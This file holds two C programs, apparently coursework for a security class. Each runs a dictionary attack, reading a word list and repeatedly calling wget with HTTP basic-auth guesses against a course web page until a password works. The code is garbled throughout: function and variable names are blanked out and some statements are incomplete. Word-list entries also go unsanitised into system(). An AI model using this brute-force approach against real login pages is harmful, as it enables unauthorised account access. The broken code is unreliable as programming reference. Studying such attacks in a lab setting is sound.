#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
  char PassString[100],pwd[3],p[100];
  char *t;
  const char l[]=" \n.,;:!-";
  int count=0;
  
  FILE *fh;
  fh=fopen("words.txt","r");
  int  ,end,tot;

   = time();
  
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  { 
    t=strtok(PassString,l);
    while(t!=NULL)
    {
      count++;
      strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
      strcat(p,t);
      if(system(p)==0)
      {
     
      end = time();
      tot = (end -);
      tot /= 1000000000.0;
      printf("The total time_var taken is:%llds\n",tot);
      printf("The number of attempts is:%d\n",count);
      exit(1);
      }
      t=strtok(NULL,l);
      printf("%s=\n",p);
      
    }
  
  }
  fclose(fh);
  return 0;
  }






#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}



